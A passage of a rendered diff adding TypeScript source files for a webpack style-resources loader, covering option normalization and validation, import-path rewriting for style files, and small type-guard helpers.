|
+
};
|
32
|
+
|
33
|
+
export const normalizeOptions = (ctx: LoaderContext): StyleResourcesLoaderNormalizedOptions => {
|
34
|
+
const options = getOptions(ctx);
|
35
|
+
|
36
|
+
validateOptions<StyleResourcesLoaderOptions>(options);
|
37
|
+
|
38
|
+
const {patterns, injector, globOptions = {}, resolveUrl = true} = options;
|
39
|
+
|
40
|
+
return {
|
41
|
+
patterns: normalizePatterns(patterns),
|
42
|
+
injector: normalizeInjector(injector),
|
43
|
+
globOptions,
|
44
|
+
resolveUrl,
|
45
|
+
};
|
46
|
+
};
|
@@ -0,0 +1,23 @@
|
|
1
|
+
import path from 'path';
|
2
|
+
|
3
|
+
import type {LoaderContext, StyleResource} from '..';
|
4
|
+
|
5
|
+
/* eslint-disable-next-line prefer-named-capture-group */
|
6
|
+
const regex = /@(?:import|require)\s+(?:\([a-z,\s]+\)\s*)?['"]?([^'"\s;]+)['"]?;?/gu;
|
7
|
+
|
8
|
+
export const resolveImportUrl = (ctx: LoaderContext, {file, content}: StyleResource): StyleResource => ({
|
9
|
+
file,
|
10
|
+
content: content.replace(regex, (match: string, pathToResource?: string) => {
|
11
|
+
if (!pathToResource || /^[~/]/u.test(pathToResource)) {
|
12
|
+
return match;
|
13
|
+
}
|
14
|
+
|
15
|
+
const absolutePathToResource = path.resolve(path.dirname(file), pathToResource);
|
16
|
+
const relativePathFromContextToResource = path
|
17
|
+
.relative(ctx.context, absolutePathToResource)
|
18
|
+
.split(path.sep)
|
19
|
+
.join('/');
|
20
|
+
|
21
|
+
return match.replace(pathToResource, relativePathFromContextToResource);
|
22
|
+
}),
|
23
|
+
});
|
Binary file
|
@@ -0,0 +1,7 @@
|
|
1
|
+
import path from 'path';
|
2
|
+
|
3
|
+
import {SUPPORTED_FILE_EXTS} from './constants';
|
4
|
+
|
5
|
+
export const isFunction = <T extends (...args: any[]) => any>(arg: any): arg is T => typeof arg === 'function';
|
6
|
+
|
7
|
+
export const isStyleFile = (file: string) => SUPPORTED_FILE_EXTS.includes(path.extname(file));
|
Binary file
|
@@ -0,0 +1,11 @@
|
|
1
|
+
import {validate} from 'schema-utils';
|
2
|
+
|
3
|
+
import {schema} from '../schema';
|
4
|
+
|
5
|
+
import {LOADER_NAME, VALIDATION_BASE_DATA_PATH} from './constants';
|
6
|
+
|
7
|
+
export const validateOptions: <T>(options: any) => asserts options is T = options =>
|
8
|
+
validate(schema, options, {
|
9
|
+
name: LOADER_NAME,
|
10
|
+
baseDataPath: VALIDATION_BASE_DATA_PATH,
|
11
|
+
});
|